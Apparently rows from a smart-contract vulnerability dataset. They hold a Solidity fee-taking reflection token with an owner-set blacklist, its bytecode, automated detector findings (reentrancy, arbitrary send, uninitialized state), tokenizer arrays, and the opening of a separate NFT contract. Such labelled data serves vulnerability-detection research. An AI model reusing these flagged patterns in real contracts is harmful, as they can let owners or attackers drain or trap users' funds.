MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103c2578063c3c8cd8014610472578063c9567bf914610487578063d543dbeb1461049c578063dd62ed3e146104c657610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610374578063a9059cbb1461038957610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610501565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561052c565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b5061020561054a565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b03813581169160208101359091169060400135610557565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105de565b005b34801561029b57600080fd5b506102a4610657565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561065c565b3480156102f257600080fd5b5061028d6106d2565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b0316610706565b34801561033a57600080fd5b5061028d610770565b34801561034f57600080fd5b50610358610812565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b5061012e610821565b34801561039557600080fd5b506101dc600480360360408110156103ac57600080fd5b506001600160a01b038135169060200135610840565b3480156103ce57600080fd5b5061028d600480360360208110156103e557600080fd5b81019060208101813564010000000081111561040057600080fd5b82018360208201111561041257600080fd5b8035906020019184602083028401116401000000008311171561043457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610854945050505050565b34801561047e57600080fd5b5061028d610908565b34801561049357600080fd5b5061028d610945565b3480156104a857600080fd5b5061028d600480360360208110156104bf57600080fd5b5035610d2c565b3480156104d257600080fd5b50610205600480360360408110156104e957600080fd5b506001600160a01b0381358116916020013516610e31565b60408051808201909152601181527011dc99595b909d5b1b0b90d85c1a5d185b607a1b602082015290565b6000610540610539610e5c565b8484610e60565b5060015b92915050565b683635c9adc5dea0000090565b6000610564848484610f4c565b6105d484610570610e5c565b6105cf85604051806060016040528060288152602001611fc3602891396001600160a01b038a166000908152600460205260408120906105ae610e5c565b6001600160a01b031681526020810191909152604001600020549190611322565b610e60565b5060019392505050565b6105e6610e5c565b6000546001600160a01b03908116911614610636576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610664610e5c565b6000546001600160a01b039081169116146106b4576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106e6610e5c565b6001600160a01b0316146106f957600080fd5b47610703816113b9565b50565b6001600160a01b03811660009081526006602052604081205460ff161561074657506001600160a01b03811660009081526003602052604090205461076b565b6001600160a01b0382166000908152600260205260409020546107689061143e565b90505b919050565b610778610e5c565b6000546001600160a01b039081169116146107c8576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600581526411d095531360da1b602082015290565b600061054061084d610e5c565b8484610f4c565b61085c610e5c565b6000546001600160a01b039081169116146108ac576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b60005b8151811015610904576001600760008484815181106108ca57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016108af565b5050565b6010546001600160a01b031661091c610e5c565b6001600160a01b03161461092f57600080fd5b600061093a30610706565b90506107038161149e565b61094d610e5c565b6000546001600160a01b0390811691161461099d576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109fc576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a459030906001600160a01b0316683635c9adc5dea00000610e60565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a7e57600080fd5b505afa158015610a92573d6000803e3d6000fd5b505050506040513d6020811015610aa857600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610af857600080fd5b505afa158015610b0c573d6000803e3d6000fd5b505050506040513d6020811015610b2257600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b7457600080fd5b505af1158015610b88573d6000803e3d6000fd5b505050506040513d6020811015610b9e57600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610bd081610706565b600080610bdb610812565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c4657600080fd5b505af1158015610c5a573d6000803e3d6000fd5b50505050506040513d6060811015610c7157600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cfd57600080fd5b505af1158015610d11573d6000803e3d6000fd5b505050506040513d6020811015610d2757600080fd5b505050565b610d34610e5c565b6000546001600160a01b03908116911614610d84576040805162461bcd60e51b81526020600482018190526024820152600080516020611feb833981519152604482015290519081900360640190fd5b60008111610dd9576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610df76064610df1683635c9adc5dea000008461166c565b906116c5565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610ea55760405162461bcd60e51b81526004018080602001828103825260248152602001806120596024913960400191505060405180910390fd5b6001600160a01b038216610eea5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f806022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f915760405162461bcd60e51b81526004018080602001828103825260258152602001806120346025913960400191505060405180910390fd5b6001600160a01b038216610fd65760405162461bcd60e51b8152600401808060200182810382526023815260200180611f336023913960400191505060405180910390fd5b600081116110155760405162461bcd60e51b815260040180806020018281038252602981526020018061200b6029913960400191505060405180910390fd5b61101d610812565b6001600160a01b0316836001600160a01b0316141580156110575750611041610812565b6001600160a01b0316826001600160a01b031614155b156112c557601354600160b81b900460ff1615611151576001600160a01b038316301480159061109057506001600160a01b0382163014155b80156110aa57506012546001600160a01b03848116911614155b80156110c457506012546001600160a01b03838116911614155b15611151576012546001600160a01b03166110dd610e5c565b6001600160a01b0316148061110c57506013546001600160a01b0316611101610e5c565b6001600160a01b0316145b611151576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561116057600080fd5b6001600160a01b03831660009081526007602052604090205460ff161580156111a257506001600160a01b03821660009081526007602052604090205460ff16155b6111ab57600080fd5b6013546001600160a01b0384811691161480156111d657506012546001600160a01b03838116911614155b80156111fb57506001600160a01b03821660009081526005602052604090205460ff16155b80156112105750601354600160b81b900460ff165b15611258576001600160a01b038216600090815260086020526040902054421161123957600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b600061126330610706565b601354909150600160a81b900460ff1615801561128e57506013546001600160a01b03858116911614155b80156112a35750601354600160b01b900460ff165b156112c3576112b18161149e565b4780156112c1576112c1476113b9565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061130757506001600160a01b03831660009081526005602052604090205460ff165b15611310575060005b61131c84848484611707565b50505050565b600081848411156113b15760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561137657818101518382015260200161135e565b50505050905090810190601f1680156113a35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc6113d38360026116c5565b6040518115909202916000818181858888f193505050501580156113fb573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114168360026116c5565b6040518115909202916000818181858888f19350505050158015610904573d6000803e3d6000fd5b6000600a548211156114815760405162461bcd60e51b815260040180806020018281038252602a815260200180611f56602a913960400191505060405180910390fd5b600061148b611823565b905061149783826116c5565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114df57fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153357600080fd5b505afa158015611547573d6000803e3d6000fd5b505050506040513d602081101561155d57600080fd5b505181518290600190811061156e57fe5b6001600160a01b0392831660209182029290920101526012546115949130911684610e60565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561161a578181015183820152602001611602565b505050509050019650505050505050600060405180830381600087803b15801561164357600080fd5b505af1158015611657573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261167b57506000610544565b8282028284828161168857fe5b04146114975760405162461bcd60e51b8152600401808060200182810382526021815260200180611fa26021913960400191505060405180910390fd5b600061149783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611846565b80611714576117146118ab565b6001600160a01b03841660009081526006602052604090205460ff16801561175557506001600160a01b03831660009081526006602052604090205460ff16155b1561176a576117658484846118dd565b611816565b6001600160a01b03841660009081526006602052604090205460ff161580156117ab57506001600160a01b03831660009081526006602052604090205460ff165b156117bb57611765848484611a01565b6001600160a01b03841660009081526006602052604090205460ff1680156117fb57506001600160a01b03831660009081526006602052604090205460ff165b1561180b57611765848484611aaa565b611816848484611b1d565b8061131c5761131c611b61565b6000806000611830611b6f565b909250905061183f82826116c5565b9250505090565b600081836118955760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561137657818101518382015260200161135e565b5060008385816118a157fe5b0495945050505050565b600c541580156118bb5750600d54155b156118c5576118db565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118ef87611cee565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506119219088611d4b565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119509087611d4b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461197f9086611d8d565b6001600160a01b0389166000908152600260205260409020556119a181611de7565b6119ab8483611e6f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611a1387611cee565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a459087611d4b565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a7b9084611d8d565b6001600160a01b03891660009081526003602090815260408083209390935560029052205461197f9086611d8d565b600080600080600080611abc87611cee565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611aee9088611d4b565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a459087611d4b565b600080600080600080611b2f87611cee565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119509087611d4b565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611cae57826002600060098481548110611b9f57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611c045750816003600060098481548110611bdd57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611c2257600a54683635c9adc5dea0000094509450505050611cea565b611c626002600060098481548110611c3657fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d4b565b9250611ca46003600060098481548110611c7857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d4b565b9150600101611b83565b50600a54611cc590683635c9adc5dea000006116c5565b821015611ce457600a54683635c9adc5dea00000935093505050611cea565b90925090505b9091565b6000806000806000806000806000611d0b8a600c54600d54611e93565b9250925092506000611d1b611823565b90506000806000611d2e8e878787611ee2565b919e509c509a509598509396509194505050505091939550919395565b600061149783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611322565b600082820183811015611497576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611df1611823565b90506000611dff838361166c565b30600090815260026020526040902054909150611e1c9082611d8d565b3060009081526002602090815260408083209390935560069052205460ff1615610d275730600090815260036020526040902054611e5a9084611d8d565b30600090815260036020526040902055505050565b600a54611e7c9083611d4b565b600a55600b54611e8c9082611d8d565b600b555050565b6000808080611ea76064610df1898961166c565b90506000611eba6064610df18a8961166c565b90506000611ed282611ecc8b86611d4b565b90611d4b565b9992985090965090945050505050565b6000808080611ef1888661166c565b90506000611eff888761166c565b90506000611f0d888861166c565b90506000611f1f82611ecc8686611d4b565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201b6d36901111372182742efc054492197e6addbb9e91d80e0886e6c4e58b13ed64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 8586, 14526, 2497, 28311, 2581, 4246, 27814, 2581, 4783, 6679, 28154, 2278, 20842, 9818, 2575, 2094, 2581, 26224, 2683, 2278, 2546, 2487, 4246, 2575, 11387, 1013, 1008, 100, 100, 100, 100, 100, 100, 4773, 1024, 7479, 1012, 2665, 8569, 3363, 1012, 3007, 1056, 2290, 1024, 1056, 1012, 2033, 1013, 2665, 8569, 3363, 17695, 18400, 10474, 1024, 10474, 1012, 4012, 1013, 2665, 8569, 22592, 2232, 12065, 5243, 3385, 2003, 2067, 1010, 2139, 21230, 999, 999, 13856, 1529, 2665, 8569, 3363, 1006, 1002, 16351, 18083, 1007, 6381, 3012, 2097, 2022, 5299, 1010, 6095, 17738, 22392, 1012, 3647, 4231, 1011, 3260, 1012, 2131, 3201, 2000, 4875, 999, 999, 999, 2716, 2000, 2017, 2011, 1996, 18542, 2696, 1521, 4937, 4686, 1010, 5026, 1996, 2087, 2241, 3647, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,519
0x96ed551e794e95071b5b14968b8b954627c131c7
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC721URIStorage.sol"; import "./Ownable.sol"; import "./Counters.sol"; contract t3rm is ERC721URIStorage, Ownable { /** * Token IDs counter. * * Provides an auto-incremented ID for each token minted. */ using Counters for Counters.Counter; Counters.Counter private _tokenIDs; /** * Launch block number. * * Prevents minting until the platform launches. */ uint private _launchBlock; /** * Mapping of command hash to tokenID. */ mapping(bytes32 => uint) private _commands; /** * Mapping of command to frozen status. */ mapping(uint => bool) private _frozen; /** * Contract metadata URI. */ string private _contractURI; /** * Mint fee * * Defines the price required to register a command. */ uint private _mintFee; /** * Mint fee floor * * Defines the lowest price for the minting fee. */ uint private _mintFeeFloor; /** * List mint at. * * Internally stores the block numbers for the last mint event. * Used to calculate the block delta for price adjustments. */ uint private _lastMintAt; /** * Update frequency. * * Defines the frequency for the mint fee adjustment. * * Example: A value of 500 increases the _mintFee if a new token is * minted with fewer than 500 blocks since the previous minting, and * decreases the value if more than 500 blocks have been created. * * This is used to optimize prices to achieve a steady flow of dev. */ uint private _updateFreq; /** * Update amount. * * Defines the divisor used in the mint fee rebalancing update. * * Example: A value of 20 will increase or decrease the _mintFee * by 5 percent. */ uint private _updateAmt; /** * Constructor to deploy the contract. * * Sets the initial settings for the contract. */ constructor( string memory _name, string memory _symbol, string memory __contractURI, uint __mintFee, uint __mintFeeFloor, uint __updateFreq, uint __updatAmt, uint __launchBlock ) ERC721(_name, _symbol) { _contractURI = __contractURI; _mintFee = __mintFee; _mintFeeFloor = __mintFeeFloor; _updateFreq = __updateFreq; _updateAmt = __updatAmt; _launchBlock = __launchBlock; // Reserved: connect _commands[0x06e7a5e6cac387364da652310717d5f91789fd895ebf5dc658e0dcd80a2f9a42] = type(uint256).max; // Reserved: disconnect _commands[0x017399084a6301db582204dd3505f7ead52eb83de2b3c608d8503256263026cf] = type(uint256).max; // Reserved: help _commands[0xb2c80d57257e1d0beff74263cff0b9289e7baef33d9df9bfb36185ffaf713e5a] = type(uint256).max; // Reserved: list _commands[0xbe8e25a9981f15070e47df9c1c85829f53ccec91a1340eac095113ab184fae5f] = type(uint256).max; // Reserved: mint _commands[0x5b4ea791576315f49763e091eb2b21ee4f1789045afc8e036b44288714996993] = type(uint256).max; // Reserved: update _commands[0xfdcff868f2b2010d7dde03b445b78c840f2a012dd6208aa14b5c673094f0aa31] = type(uint256).max; // Reserved: freeze _commands[0x1238908b973638e0ad25d4933d8d3a76f918aaa8cbb3bee6bc1d0adcb26cec59] = type(uint256).max; } /** * Command Hash helper. * * Accepts alphanumeric characters, hyphens, periods, and underscores. * Returns a keccak256 hash of the lowercase command. */ function _commandHash(string memory str) private pure returns (bytes32){ bytes memory b = bytes(str); for (uint i; i<b.length; i++){ bytes1 char = b[i]; require ( (char >= 0x30 && char <= 0x39) || //0-9 (char >= 0x41 && char <= 0x5A) || //A-Z (char >= 0x61 && char <= 0x7A) || //a-z (char == 0x2D) || //- (char == 0x2E) || //. (char == 0x5F) //_ , "Command contains invalid characters."); } bytes memory bLower = new bytes(b.length); for (uint i = 0; i < b.length; i++) { if ((uint8(b[i]) >= 65) && (uint8(b[i]) <= 90)) { // Uppercase character bLower[i] = bytes1(uint8(b[i]) + 32); } else { bLower[i] = b[i]; } } return keccak256(abi.encode(string(bLower))); } /** * Contract metadata URI * * Provides the URI for the contract metadata. */ function contractURI() public view returns (string memory) { return string(abi.encodePacked(_baseURI(), _contractURI)); } /** * Override for the OpenZeppelin ERC721 baseURI function. * * All tokenURIs will use a deterministic multihash for the * metadata, hosted behind a gateway-agnostic IPFS protocol. */ function _baseURI() internal view virtual override returns (string memory) { return "ipfs://"; } /** * Get the launch block. * * Returns the block number when tokens can be minted. 